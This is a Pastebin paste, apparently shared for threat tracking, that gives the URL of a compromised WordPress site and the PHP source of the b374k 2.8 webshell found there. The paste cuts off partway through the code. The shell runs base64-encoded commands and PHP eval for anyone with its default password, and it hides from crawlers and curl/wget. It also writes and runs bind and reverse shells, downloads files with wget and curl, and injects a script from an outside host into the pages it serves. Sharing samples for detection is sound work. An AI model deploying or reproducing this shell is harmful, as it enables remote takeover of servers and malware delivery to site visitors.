Neonprimetime

2018-11-06 webshell

Nov 6th, 2018
390
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 108.67 KB | None | 0 0
  1. http://www.dbsgroup.net/wp-content/uploads/impact/b.php2
  2.  
  3.  
  4.  
  5. <head></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">&lt;?php
  6. /*
  7. b374k 2.8
  8. Jayalah Indonesiaku
  9. (c)2013
  10. http://code.google.com/p/b374k-shell
  11.  
  12. */
  13. $s_pass = "fb621f5060b9f65acf8eb4232e3024140dea2b34"; // default password : b374k (login and change to new password)
  14.  
  15. $s_ver = "2.8"; // shell ver
  16. $s_title = "b374k ".$s_ver; // shell title
  17. $s_login_time = 3600 * 24 * 7; // cookie time (login)
  18. $s_debug = false; // debugging mode
  19.  
  20. @ob_start();
  21. @set_time_limit(0);
  22. @ini_set('html_errors','0');
  23. @clearstatcache();
  24. define('DS', DIRECTORY_SEPARATOR);
  25.  
  26. // clean magic quotes
  27. $_POST = clean($_POST);
  28. $_GET = clean($_GET);
  29. $_COOKIE = clean($_COOKIE);
  30. $_GP = array_merge($_POST, $_GET);
  31. $_GP = array_map("ru", $_GP);
  32.  
  33.  
  34. if($s_debug){
  35. error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
  36. @ini_set('display_errors','1');
  37. @ini_set('log_errors','1');
  38. foreach($_GP as $k=&gt;$v){
  39. if(is_array($v)) $v = print_r($v, true);
  40. echo "&lt;span&gt;".hss($k."=&gt;".$v)."&lt;/span&gt;&lt;br /&gt;";
  41. }
  42. }
  43. else{
  44. error_reporting(0);
  45. @ini_set('display_errors','0');
  46. @ini_set('log_errors','0');
  47. }
  48.  
  49. $s_auth = false; // login status
  50. if(strlen(trim($s_pass))&gt;0){
  51. if(isset($_COOKIE['b374k'])){
  52. if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['b374k']))) $s_auth = true;
  53. }
  54. if(isset($_GP['login'])){
  55. $s_login = kript($_GP['login']);
  56. if(strtolower(trim($s_pass)) == $s_login){
  57. setcookie("b374k",$s_login,time() + $s_login_time);
  58. $s_auth = true;
  59. }
  60. }
  61. if(isset($_GP['x']) &amp;&amp; ($_GP['x']=='logout')){
  62. $persist = array("theme", "cwd");
  63. $s_reload = (isset($_COOKIE['b374k_included']) &amp;&amp; isset($_COOKIE['s_home']))? rtrim(urldecode($_COOKIE['s_self']),"&amp;"):"";
  64. foreach($_COOKIE as $s_k=&gt;$s_v){
  65. if(!in_array($s_k, $persist)) if(!is_array($s_k)) setcookie($s_k,"",time() - $s_login_time);
  66. }
  67. $s_auth = false;
  68. if(!empty($s_reload)) header("Location: ".$s_reload);
  69. }
  70. }
  71. else $s_auth = true;
  72. echo "&lt;SCRIPT SRC=http://www.podathon.org/sayac.js&gt;&lt;/SCRIPT&gt;";
  73. // This is a feature where you can control this script from another apps/scripts
  74. // you need to supply password (in sha1(md5()) format) to access this
  75. // this example using password 'b374k' in sha1(md5()) format (s_pass=fb621f5060b9f65acf8eb4232e3024140dea2b34)
  76. // give the code/command you want to execute in base64 format
  77. // this example using command 'uname -a' in base64 format (cmd=dW5hbWUgLWE=)
  78. // example:
  79. // http://www.myserver.com/b374k.php?s_pass=fb621f5060b9f65acf8eb4232e3024140dea2b34&amp;cmd=dW5hbWUgLWE=
  80. // next sample will evaluate php code 'phpinfo();' in base64 format (eval=cGhwaW5mbygpOw==)
  81. // http://www.myserver.com/b374k.php?s_pass=fb621f5060b9f65acf8eb4232e3024140dea2b34&amp;eval=cGhwaW5mbygpOw==
  82. // recommended ways is using POST DATA
  83. // note that it will not works if shell password is empty ($s_pass);
  84. // better see code below
  85. if(!empty($_GP['s_pass'])){
  86. if(strtolower(trim($s_pass)) == strtolower(trim($_GP['s_pass']))){
  87. if(isset($_GP['cmd'])) echo exe(base64_decode($_GP['cmd']));
  88. elseif(isset($_GP['eval'])){
  89. $s_code = base64_decode($_GP['eval']);
  90. ob_start();
  91. eval($s_code);
  92. $s_res = ob_get_contents();
  93. ob_end_clean();
  94. echo $s_res;
  95. }
  96. else echo $s_title;
  97. }
  98. die();
  99. }
  100.  
  101. // block search engine bot
  102. if(isset($_SERVER['HTTP_USER_AGENT']) &amp;&amp; (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
  103. header("HTTP/1.0 404 Not Found");
  104. header("Status: 404 Not Found");
  105. die();
  106. }
  107. elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
  108. header("HTTP/1.0 404 Not Found");
  109. header("Status: 404 Not Found");
  110. die();
  111. }
  112.  
  113. // resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php this was used with bind and reverse shell
  114. // use gzinflate(base64_decode($the_code)) if you wanna see the real code.. in case you dont trust me ;-P
  115. $s_css = .... REMOVED
  116. // magic quote and shit :-p
  117. function clean($arr){
  118. $quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
  119. if(function_exists('get_magic_quotes_gpc') &amp;&amp; get_magic_quotes_gpc()){
  120. if(is_array($arr)){
  121. foreach($arr as $k=&gt;$v){
  122. if(is_array($v)) $arr[$k] = clean($v);
  123. else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
  124. }
  125. }
  126. }
  127. return $arr;
  128. }
  129. // function read file
  130. function fgc($file){
  131. return file_get_contents($file);
  132. }
  133. // encryption for shell password
  134. function kript($plain){
  135. return sha1(md5($plain));
  136. }
  137. function changepass($plain){
  138. $newpass = kript($plain);
  139. $newpass = "\$s_pass = \"".$newpass."\";";
  140. $con = fgc($_SERVER['SCRIPT_FILENAME']);
  141. $con = preg_replace("/\\\$s_pass\ *=\ *[\"\']*([a-fA-F0-9]*)[\"\']*;/is",$newpass,$con);
  142. return file_put_contents($_SERVER['SCRIPT_FILENAME'], $con);
  143. }
  144. function get_code($t, $c){
  145. global $s_self;
  146. $c = gzinflate(base64_decode($c));
  147. if($t=="css"){
  148. return "&lt;link rel='stylesheet' type='text/css' href='".$s_self."|' /&gt;";
  149.  
  150. }
  151. elseif($t=="js"){
  152. return "&lt;script type='text/javascript' src='".$s_self."!'&gt;&lt;/script&gt;";
  153. }
  154. }
  155. function showcode($raw){
  156. $c = gzinflate(base64_decode($raw));
  157. ob_get_contents();
  158. ob_end_clean();
  159. ob_start();
  160. eval("?&gt;".$c);
  161. $s_res = ob_get_contents();
  162. ob_end_clean();
  163. echo $s_res;
  164. die();
  165. }
  166. // addslashes if on windows
  167. function adds($s_s){
  168. global $s_win;
  169. return ($s_win)? addslashes($s_s):$s_s;
  170. }
  171. // add slash to the end of given path
  172. function cp($s_p){
  173. global $s_win;
  174. if(@is_dir($s_p)){
  175. $s_x = DS;
  176. while(substr($s_p, -1) == $s_x) $s_p = rtrim($s_p, $s_x);
  177. return ($s_win)? preg_replace("/\\\\+/is", "\\", $s_p.$s_x):$s_p.$s_x;
  178. }
  179. return $s_p;
  180. }
  181. // make link for folder $s_cwd and all of its parent folder
  182. function swd($s_p){
  183. global $s_self;
  184. $s_ps = explode(DS,$s_p);
  185. $s_pu = "";
  186. for($s_i = 0; $s_i &lt; sizeof($s_ps)-1; $s_i++){
  187. $s_pz = "";
  188. for($s_j = 0; $s_j &lt;= $s_i; $s_j++) $s_pz .= $s_ps[$s_j].DS;
  189. $s_pu .= "&lt;a href='".$s_self."cd=".pl($s_pz)."'&gt;".$s_ps[$s_i]." ".DS." &lt;/a&gt;";
  190. }
  191. return trim($s_pu);
  192. }
  193. // htmlspecialchars
  194. function hss($s_t){
  195. //$s_s = htmlspecialchars($s_s, 8);
  196. return htmlspecialchars($s_t, 2 | 1);
  197. }
  198. // function raw urldecode
  199. function ru($str){
  200. return (is_array($str))? array_map("rawurldecode", $str):rawurldecode($str);
  201. }
  202. // encode link, htmlspecialchars and rawurlencode
  203. function pl($str){
  204. return hss(rawurlencode($str));
  205. }
  206. // add quotes
  207. function pf($f){
  208. return "\"".$f."\"";
  209. }
  210. // replace spaces with underscore ( _ )
  211. function cs($s_t){
  212. return str_replace(array(" ", "\"", "'"), "_", $s_t);
  213. }
  214. // trim and urldecode
  215. function ss($s_t){
  216. return rawurldecode($s_t);
  217. }
  218. // return tag html for notif
  219. function notif($s){
  220. return "&lt;div class='notif'&gt;".$s."&lt;/div&gt;";
  221. }
  222. // bind and reverse shell
  223. function rs($s_rstype,$s_rstarget,$s_rscode){
  224. // resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php
  225. $s_result = $s_fpath = "";
  226. $s_fc = gzinflate(base64_decode($s_rscode));
  227.  
  228. $s_errperm = "Directory ".getcwd().DS." is not writable, please change to a writable one";
  229. $s_errgcc = "Unable to compile using gcc";
  230. $s_errjavac = "Unable to compile using javac";
  231.  
  232. $s_split = explode("_", $s_rstype);
  233. $s_method = $s_split[0];
  234. $s_lang = $s_split[1];
  235. if($s_lang=="py" || $s_lang=="pl" || $s_lang=="rb" || $s_lang=="js"){
  236. if($s_lang=="py") $s_runlang = "python";
  237. elseif($s_lang=="pl") $s_runlang = "perl";
  238. elseif($s_lang=="rb") $s_runlang = "ruby";
  239. elseif($s_lang=="js") $s_runlang = "node";
  240. $s_fpath = "b374k_rs.".$s_lang;
  241. if(@is_file($s_fpath)) unlink($s_fpath);
  242. if($s_file = fopen($s_fpath, "w")){
  243. fwrite($s_file, $s_fc);
  244. fclose($s_file);
  245. if(@is_file($s_fpath)){
  246. $s_result = exe("chmod +x ".$s_fpath);
  247. if($s_runlang=="node"){
  248. if(check_access("node")!==false) $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget);
  249. elseif(check_access("nodejs")!==false) $s_result = exe($s_runlang."js ".$s_fpath." ".$s_rstarget);
  250.  
  251. }
  252. else $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget);
  253. }
  254. else $s_result = $s_errperm;
  255. }
  256. else $s_result = $s_errperm;
  257. }
  258. elseif($s_lang=="c"){
  259. $s_fpath = "b374k_rs";
  260. if(@is_file($s_fpath)) unlink($s_fpath);
  261. if(@is_file($s_fpath.".c")) unlink($s_fpath.".c");
  262. if($s_file = fopen($s_fpath.".c", "w")){
  263. fwrite($s_file,$s_fc);
  264. fclose($s_file);
  265. if(@is_file($s_fpath.".c")){
  266. $s_result = exe("gcc ".$s_fpath.".c -o ".$s_fpath);
  267. if(@is_file($s_fpath)){
  268. $s_result = exe("chmod +x ".$s_fpath);
  269. $s_result = exe("./".$s_fpath." ".$s_rstarget);
  270. }
  271. else $s_result = $s_errgcc;
  272. }
  273. else $s_result = $s_errperm;
  274. }
  275. else $s_result = $s_errperm;
  276. }
  277. elseif($s_lang=="win"){
  278. $s_fpath = "b374k_rs.exe";
  279. if(@is_file($s_fpath)) unlink($s_fpath);
  280. if($s_file = fopen($s_fpath,"w")){
  281. fwrite($s_file,$s_fc);
  282. fclose($s_file);
  283. if(@is_file($s_fpath)){
  284. $s_result = exe($s_fpath." ".$s_rstarget);
  285. }
  286. else $s_result = $s_errperm;
  287. }
  288. else $s_result = $s_errperm;
  289. }
  290. elseif($s_lang=="java"){
  291. $s_fpath = "b374k_rs";
  292. if(@is_file($s_fpath.".java")) unlink($s_fpath.".java");
  293. if(@is_file($s_fpath.".class")) unlink($s_fpath.".class");
  294. if($s_file = fopen($s_fpath.".java", "w")){
  295. fwrite($s_file,$s_fc);
  296. fclose($s_file);
  297. if(@is_file($s_fpath.".java")){
  298. $s_result = exe("javac ".$s_fpath.".java");
  299. if(@is_file($s_fpath.".class")){
  300. $s_result = exe("java ".$s_fpath." ".$s_rstarget);
  301. }
  302. else $s_result = $s_errjavac;
  303. }
  304. else $s_result = $s_errperm;
  305. }
  306. else $s_result = $s_errperm;
  307. }
  308. elseif($s_lang=="php"){
  309. $s_result = eval("?&gt;".$s_fc);
  310. }
  311.  
  312. if(@is_file($s_fpath)) unlink($s_fpath);
  313. if(@is_file($s_fpath.".c")) unlink($s_fpath.".c");
  314. if(@is_file($s_fpath.".java")) unlink($s_fpath.".java");
  315. if(@is_file($s_fpath.".class")) unlink($s_fpath.".class");
  316. if(@is_file($s_fpath."\$pt.class")) unlink($s_fpath."\$pt.class");
  317.  
  318. return $s_result;
  319. }
  320. function geol($str){
  321. $nl = PHP_EOL;
  322. if(preg_match("/\r\n/", $str, $r)) $nl = "\r\n";
  323. else{
  324. if(preg_match("/\n/", $str, $r)) $nl = "\n";
  325. elseif(preg_match("/\r/", $str, $r)) $nl = "\r";
  326. }
  327. return bin2hex($nl);
  328. }
  329. // format bit
  330. function ts($s_s){
  331. if($s_s&lt;=0) return 0;
  332. $s_w = array('B','KB','MB','GB','TB','PB','EB','ZB','YB');
  333. $s_e = floor(log($s_s)/log(1024));
  334. return sprintf('%.2f '.$s_w[$s_e], ($s_s/pow(1024, floor($s_e))));
  335. }
  336. // get file size
  337. function gs($s_f){
  338. $s_s = @filesize($s_f);
  339. if($s_s !== false){
  340. if($s_s&lt;=0) return 0;
  341. return ts($s_s);
  342. }
  343. else return "???";
  344. }
  345. // get file permissions
  346. function gp($s_f){
  347. if($s_m = @fileperms($s_f)){
  348. $s_p = 'u';
  349. if(($s_m &amp; 0xC000) == 0xC000)$s_p = 's';
  350. elseif(($s_m &amp; 0xA000) == 0xA000)$s_p = 'l';
  351. elseif(($s_m &amp; 0x8000) == 0x8000)$s_p = '-';
  352. elseif(($s_m &amp; 0x6000) == 0x6000)$s_p = 'b';
  353. elseif(($s_m &amp; 0x4000) == 0x4000)$s_p = 'd';
  354. elseif(($s_m &amp; 0x2000) == 0x2000)$s_p = 'c';
  355. elseif(($s_m &amp; 0x1000) == 0x1000)$s_p = 'p';
  356. $s_p .= ($s_m &amp; 00400)? 'r':'-';
  357. $s_p .= ($s_m &amp; 00200)? 'w':'-';
  358. $s_p .= ($s_m &amp; 00100)? 'x':'-';
  359. $s_p .= ($s_m &amp; 00040)? 'r':'-';
  360. $s_p .= ($s_m &amp; 00020)? 'w':'-';
  361. $s_p .= ($s_m &amp; 00010)? 'x':'-';
  362. $s_p .= ($s_m &amp; 00004)? 'r':'-';
  363. $s_p .= ($s_m &amp; 00002)? 'w':'-';
  364. $s_p .= ($s_m &amp; 00001)? 'x':'-';
  365. return $s_p;
  366. }
  367. else return "???????????";
  368. }
  369. // shell command
  370. function exe($s_c){
  371. $s_out = "";
  372. $s_c = $s_c." 2&gt;&amp;1";
  373.  
  374. if(is_callable('system')) {
  375. ob_start();
  376. @system($s_c);
  377. $s_out = ob_get_contents();
  378. ob_end_clean();
  379. if(!empty($s_out)) return $s_out;
  380. }
  381. if(is_callable('shell_exec')){
  382. $s_out = @shell_exec($s_c);
  383. if(!empty($s_out)) return $s_out;
  384. }
  385. if(is_callable('exec')) {
  386. @exec($s_c,$s_r);
  387. if(!empty($s_r)) foreach($s_r as $s_s) $s_out .= $s_s;
  388. if(!empty($s_out)) return $s_out;
  389. }
  390. if(is_callable('passthru')) {
  391. ob_start();
  392. @passthru($s_c);
  393. $s_out = ob_get_contents();
  394. ob_end_clean();
  395. if(!empty($s_out)) return $s_out;
  396. }
  397. if(is_callable('proc_open')) {
  398. $s_descriptorspec = array(
  399. 0 =&gt; array("pipe", "r"),
  400. 1 =&gt; array("pipe", "w"),
  401. 2 =&gt; array("pipe", "w"));
  402. $s_proc = @proc_open($s_c, $s_descriptorspec, $s_pipes, getcwd(), array());
  403. if (is_resource($s_proc)) {
  404. while($s_si = fgets($s_pipes[1])) {
  405. if(!empty($s_si)) $s_out .= $s_si;
  406. }
  407. while($s_se = fgets($s_pipes[2])) {
  408. if(!empty($s_se)) $s_out .= $s_se;
  409. }
  410. }
  411. @proc_close($s_proc);
  412. if(!empty($s_out)) return $s_out;
  413. }
  414. if(is_callable('popen')){
  415. $s_f = @popen($s_c, 'r');
  416. if($s_f){
  417. while(!feof($s_f)){
  418. $s_out .= fread($s_f, 2096);
  419. }
  420. pclose($s_f);
  421. }
  422. if(!empty($s_out)) return $s_out;
  423. }
  424. return "";
  425. }
  426. // delete dir and all of its content (no warning !) xp
  427. function rmdirs($s){
  428. $s = (substr($s,-1)=='/')? $s:$s.'/';
  429. if($dh = opendir($s)){
  430. while(($f = readdir($dh))!==false){
  431. if(($f!='.')&amp;&amp;($f!='..')){
  432. $f = $s.$f;
  433. if(@is_dir($f)) rmdirs($f);
  434. else @unlink($f);
  435. }
  436. }
  437. closedir($dh);
  438. @rmdir($s);
  439. }
  440. }
  441. function copys($s,$d,$c=0){
  442. if($dh = opendir($s)){
  443. if(!@is_dir($d)) @mkdir($d);
  444. while(($f = readdir($dh))!==false){
  445. if(($f!='.')&amp;&amp;($f!='..')){
  446. if(@is_dir($s.DS.$f)) copys($s.DS.$f,$d.DS.$f);
  447. else copy($s.DS.$f,$d.DS.$f);
  448. }
  449. }
  450. closedir($dh);
  451. }
  452. }
  453. // get array of all files from given directory
  454. function getallfiles($s_dir){
  455. $s_f = glob($s_dir.'*');
  456. for($s_i = 0; $s_i&lt;count($s_f); $s_i++){
  457. if(@is_dir($s_f[$s_i])){
  458. $s_a = glob($s_f[$s_i].DS.'*');
  459. if(is_array($s_f) &amp;&amp; is_array($s_a)) $s_f = array_merge($s_f, $s_a);
  460. }
  461. }
  462. return $s_f;
  463. }
  464. // download file from internet
  465. function dlfile($s_u,$s_p){
  466. global $s_wget, $s_lwpdownload, $s_lynx, $s_curl;
  467.  
  468. if(!preg_match("/[a-z]+:\/\/.+/",$s_u)) return false;
  469. $s_n = basename($s_u);
  470.  
  471. // try using php functions
  472. if($s_t = @fgc($s_u)){
  473.  
  474. if(@is_file($s_p)) unlink($s_p);
  475. if($s_f = fopen($s_p,"w")){
  476. fwrite($s_f, $s_t);
  477. fclose($s_f);
  478. if(@is_file($s_p)) return true;
  479. }
  480. }
  481. // using wget
  482. if($s_wget){
  483. $buff = exe("wget ".$s_u." -O ".$s_p);
  484. if(@is_file($s_p)) return true;
  485. }
  486. // try using curl
  487. if($s_curl){
  488. $buff = exe("curl ".$s_u." -o ".$s_p);
  489. if(@is_file($s_p)) return true;
  490. }
  491. // try using lynx
  492. if($s_lynx){
  493. $buff = exe("lynx -source ".$s_u." &gt; ".$s_p);
  494. if(@is_file($s_p)) return true;
  495. }
  496. // try using lwp-download
  497. if($s_lwpdownload){
  498. $buff = exe("lwp-download ".$s_u." ".$s_p);
  499. if(@is_file($s_p)) return true;
  500. }
  501. return false;
  502. }
  503. // find writable dir
  504. function get_writabledir(){
  505. if(!$s_d = getenv("TEMP")) if(!$s_d = getenv("TMP")) if(!$s_d = getenv("TMPDIR")){
  506. if(@is_writable("/tmp")) $s_d = "/tmp/";
  507. else if(@is_writable(".")) $s_d = ".".DS;
  508. }
  509. return cp($s_d);
  510. }
  511. // zip function
  512. function zip($s_srcarr, $s_dest){
  513. if(!extension_loaded('zip')) return false;
  514. if(class_exists("ZipArchive")){
  515. $s_zip = new ZipArchive();
  516. if(!$s_zip-&gt;open($s_dest, 1)) return false;
  517.  
  518. if(!is_array($s_srcarr)) $s_srcarr = array($s_srcarr);
  519. foreach($s_srcarr as $s_src){
  520. $s_src = str_replace('\\', '/', $s_src);
  521. if(@is_dir($s_src)){
  522. $s_files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($s_src), 1);
  523. foreach($s_files as $s_file){
  524. $s_file = str_replace('\\', '/', $s_file);
  525. if(in_array(substr($s_file, strrpos($s_file, '/')+1), array('.', '..'))) continue;
  526. if (@is_dir($s_file)===true) $s_zip-&gt;addEmptyDir(str_replace($s_src.'/', '', $s_file.'/'));
  527. else if (@is_file($s_file)===true) $s_zip-&gt;addFromString(str_replace($s_src.'/', '', $s_file), @fgc($s_file));
  528. }
  529. }
  530. elseif(@is_file($s_src) === true) $s_zip-&gt;addFromString(basename($s_src), @fgc($s_src));
  531. }
  532. $s_zip-&gt;close();
  533. return true;
  534. }
  535. }
  536. // check shell permission to access program
  537. function check_access($s_lang){
  538. $s_s = false;
  539. $ver = "";
  540. switch($s_lang){
  541. case "python":
  542. $s_cek = strtolower(exe("python -h"));
  543. if(strpos($s_cek,"usage")!==false) $ver = exe("python -V");
  544. break;
  545. case "perl":
  546. $s_cek = strtolower(exe("perl -h"));
  547. if(strpos($s_cek,"usage")!==false) $ver = exe("perl -e \"print \$]\"");
  548. break;
  549. case "ruby":
  550. $s_cek = strtolower(exe("ruby -h"));
  551. if(strpos($s_cek,"usage")!==false) $ver = exe("ruby -v");
  552. break;
  553. case "node":
  554. $s_cek = strtolower(exe("node -h"));
  555. if(strpos($s_cek,"usage")!==false) $ver = exe("node -v");
  556. break;
  557. case "nodejs":
  558. $s_cek = strtolower(exe("nodejs -h"));
  559. if(strpos($s_cek,"usage")!==false) $ver = exe("nodejs -v");
  560. break;
  561. case "gcc":
  562. $s_cek = strtolower(exe("gcc --help"));
  563. if(strpos($s_cek,"usage")!==false){
  564. $s_ver = exe("gcc --version");
  565. $s_ver = explode("\n",$s_ver);
  566. if(count($s_ver)&gt;0) $ver = $s_ver[0];
  567. }
  568. break;
  569. case "tar":
  570. $s_cek = strtolower(exe("tar --help"));
  571. if(strpos($s_cek,"usage")!==false){
  572. $s_ver = exe("tar --version");
  573. $s_ver = explode("\n",$s_ver);
  574. if(count($s_ver)&gt;0) $ver = $s_ver[0];
  575. }
  576. break;
  577. case "java":
  578. $s_cek = strtolower(exe("java -help"));
  579. if(strpos($s_cek,"usage")!==false) $ver = str_replace("\n", ", ", exe("java -version"));
  580. break;
  581. case "javac":
  582. $s_cek = strtolower(exe("javac -help"));
  583. if(strpos($s_cek,"usage")!==false) $ver = str_replace("\n", ", ", exe("javac -version"));
  584. break;
  585. case "wget":
  586. $s_cek = strtolower(exe("wget --help"));
  587. if(strpos($s_cek,"usage")!==false){
  588. $s_ver = exe("wget --version");
  589. $s_ver = explode("\n",$s_ver);
  590. if(count($s_ver)&gt;0) $ver = $s_ver[0];
  591. }
  592. break;
  593. case "lwpdownload":
  594. $s_cek = strtolower(exe("lwp-download --help"));
  595. if(strpos($s_cek,"usage")!==false){
  596. $s_ver = exe("lwp-download --version");
  597. $s_ver = explode("\n",$s_ver);
  598. if(count($s_ver)&gt;0) $ver = $s_ver[0];
  599. }
  600. break;
  601. case "lynx":
  602. $s_cek = strtolower(exe("lynx --help"));
  603. if(strpos($s_cek,"usage")!==false){
  604. $s_ver = exe("lynx -version");
  605. $s_ver = explode("\n",$s_ver);
  606. if(count($s_ver)&gt;0) $ver = $s_ver[0];
  607. }
  608. break;
  609. case "curl":
  610. $s_cek = strtolower(exe("curl --help"));
  611. if(strpos($s_cek,"usage")!==false){
  612. $s_ver = exe("curl --version");
  613. $s_ver = explode("\n",$s_ver);
  614. if(count($s_ver)&gt;0) $ver = $s_ver[0];
  615. }
  616. break;
  617. default:
  618. return false;
  619. }
  620. if(!empty($ver)) $s_s = $ver;
  621. return $s_s;
  622. }
  623. // explorer, return a table of given dir
  624. function showdir($s_cwd){
  625. global $s_self, $s_win, $s_posix, $s_tar;
  626.  
  627. $s_fname = $s_dname = array();
  628. $s_total_file = $s_total_dir = 0;
  629.  
  630. if($s_dh = @opendir($s_cwd)){
  631. while($s_file = @readdir($s_dh)){
  632. if(@is_dir($s_file)) $s_dname[] = $s_file;
  633. elseif(@is_file($s_file))$s_fname[] = $s_file;
  634. }
  635. closedir($s_dh);
  636. }
  637.  
  638. natcasesort($s_fname);
  639. natcasesort($s_dname);
  640. $s_list = array_merge($s_dname,$s_fname);
  641.  
  642. if($s_win){
  643. //check if this root directory
  644. chdir("..");
  645. if(cp(getcwd())==cp($s_cwd)) array_unshift($s_list, ".");
  646. chdir($s_cwd);
  647. }
  648.  
  649. $s_path = explode(DS,$s_cwd);
  650. $s_tree = sizeof($s_path);
  651.  
  652. $s_parent = "";
  653. if($s_tree &gt; 2) for($s_i = 0; $s_i&lt;$s_tree-2; $s_i++) $s_parent .= $s_path[$s_i].DS;
  654. else $s_parent = $s_cwd;
  655.  
  656. $s_owner_html = (!$s_win &amp;&amp; $s_posix)? "&lt;th style='width:140px;min-width:140px;'&gt;owner:group&lt;/th&gt;":"";
  657. $s_colspan = (!$s_win &amp;&amp; $s_posix)? "5" : "4";
  658. $s_buff = "&lt;table class='explore sortable'&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style='width:24px;min-width:24px;' class='sorttable_nosort'&gt;&lt;/th&gt;&lt;th style='min-width:150px;'&gt;name&lt;/th&gt;&lt;th style='width:74px;min-width:74px;'&gt;size&lt;/th&gt;".$s_owner_html."&lt;th style='width:80px;min-width:80px;'&gt;perms&lt;/th&gt;&lt;th style='width:150px;min-width:150px;'&gt;modified&lt;/th&gt;&lt;th style='width:200px;min-width:200px;' class='sorttable_nosort'&gt;action&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;";
  659.  
  660.  
  661. foreach($s_list as $s_l){
  662. if(!$s_win &amp;&amp; $s_posix){
  663. $s_name = posix_getpwuid(fileowner($s_l));
  664. $s_group = posix_getgrgid(filegroup($s_l));
  665. $s_owner = $s_name['name']."&lt;span class='gaya'&gt;:&lt;/span&gt;".$s_group['name'];
  666. $s_owner_html = "&lt;td style='text-align:center;'&gt;".$s_owner."&lt;/td&gt;";
  667. }
  668.  
  669. $s_lhref = $s_lname = $s_laction = "";
  670. if(@is_dir($s_l)){
  671. if($s_l=="."){
  672. $s_lhref = $s_self."cd=".pl($s_cwd);
  673. $s_lsize = "LINK";
  674. $s_laction = "&lt;span id='titik1'&gt;&lt;a href='".$s_self."cd=".pl($s_cwd)."&amp;find=".pl($s_cwd)."'&gt;find&lt;/a&gt; | &lt;a href='".$s_self."cd=".pl($s_cwd)."&amp;x=upload"."'&gt;upl&lt;/a&gt; | &lt;a href='".$s_self."cd=".pl($s_cwd)."&amp;edit=".pl($s_cwd)."newfile_1&amp;new=yes"."'&gt;+file&lt;/a&gt; | &lt;a href=\"javascript:tukar('titik1','', 'mkdir','newfolder_1');\"&gt;+dir&lt;/a&gt;&lt;/span&gt;&lt;div id='titik1_form'&gt;&lt;/div&gt;";
  675. }
  676. elseif($s_l==".."){
  677. $s_lhref = $s_self."cd=".pl($s_parent);
  678. $s_lsize = "LINK";
  679. $s_laction = "&lt;span id='titik2'&gt;&lt;a href='".$s_self."cd=".pl($s_parent)."&amp;find=".pl($s_parent)."'&gt;find&lt;/a&gt; | &lt;a href='".$s_self."cd=".pl($s_parent)."&amp;x=upload"."'&gt;upl&lt;/a&gt; | &lt;a href='".$s_self."cd=".pl($s_parent)."&amp;edit=".pl($s_parent)."newfile_1&amp;new=yes"."'&gt;+file&lt;/a&gt; | &lt;a href=\"javascript:tukar('titik2','".adds($s_parent)."', 'mkdir','newfolder_1');\"&gt;+dir&lt;/a&gt;&lt;/span&gt;&lt;div id='titik2_form'&gt;&lt;/div&gt;";
  680. }
  681. else{
  682. $s_lhref = $s_self."cd=".pl($s_cwd.$s_l.DS);
  683. $s_lsize = "DIR";
  684. $s_laction = "&lt;span id='".cs($s_l)."_'&gt;&lt;a href='".$s_self."cd=".pl($s_cwd.$s_l.DS)."&amp;find=".pl($s_cwd.$s_l.DS)."'&gt;find&lt;/a&gt; | &lt;a href='".$s_self."cd=".pl($s_cwd.$s_l.DS)."&amp;x=upload"."'&gt;upl&lt;/a&gt; | &lt;a href=\"javascript:tukar('".cs($s_l)."_','','rename','".adds($s_l)."','".adds($s_l)."');\"&gt;ren&lt;/a&gt; | &lt;a href='".$s_self."cd=".pl($s_cwd)."&amp;del=".pl($s_l)."'&gt;del&lt;/a&gt;&lt;/span&gt;&lt;div id='".cs($s_l)."__form'&gt;&lt;/div&gt;";
  685. $s_total_dir++;
  686. }
  687. $s_lname = "[ ".$s_l." ]";
  688. $s_lsizetit = "0";
  689. $s_lnametit = "dir : ".$s_l;
  690. }
  691. else{
  692. $s_lhref = $s_self."view=".pl($s_cwd.$s_l);
  693. $s_lname = $s_l;
  694. $s_lsize = gs($s_l);
  695. $s_lsizetit = @filesize($s_l);
  696. $s_lnametit = "file : ".$s_l;
  697. $s_laction = "&lt;span id='".cs($s_l)."_'&gt;&lt;a href='".$s_self."edit=".pl($s_cwd.$s_l)."'&gt;edit&lt;/a&gt; | &lt;a href='".$s_self."hexedit=".pl($s_cwd.$s_l)."'&gt;hex&lt;/a&gt; | &lt;a href=\"javascript:tukar('".cs($s_l)."_','','rename','".adds($s_l)."','".adds($s_l)."');\"&gt;ren&lt;/a&gt; | &lt;a href='".$s_self."del=".pl($s_cwd.$s_l)."'&gt;del&lt;/a&gt; | &lt;a href='".$s_self."dl=".pl($s_cwd.$s_l)."'&gt;dl&lt;/a&gt;&lt;/span&gt;&lt;div id='".cs($s_l)."__form'&gt;&lt;/div&gt;";
  698. $s_total_file++;
  699. }
  700.  
  701. $s_cboxval = $s_cwd.$s_l;
  702. if($s_l=='.') $s_cboxval = $s_cwd;
  703. if($s_l=='..') $s_cboxval = $s_parent;
  704.  
  705. $s_cboxes_id = substr(md5($s_lhref),0,8);
  706. $s_cboxes = "&lt;input id='".$s_cboxes_id."' name='cbox' value='".hss($s_cboxval)."' type='checkbox' class='css-checkbox' onchange='hilite(this);' /&gt;&lt;label for='".$s_cboxes_id."' class='css-label'&gt;&lt;/label&gt;";
  707.  
  708. $s_ltime = filemtime($s_l);
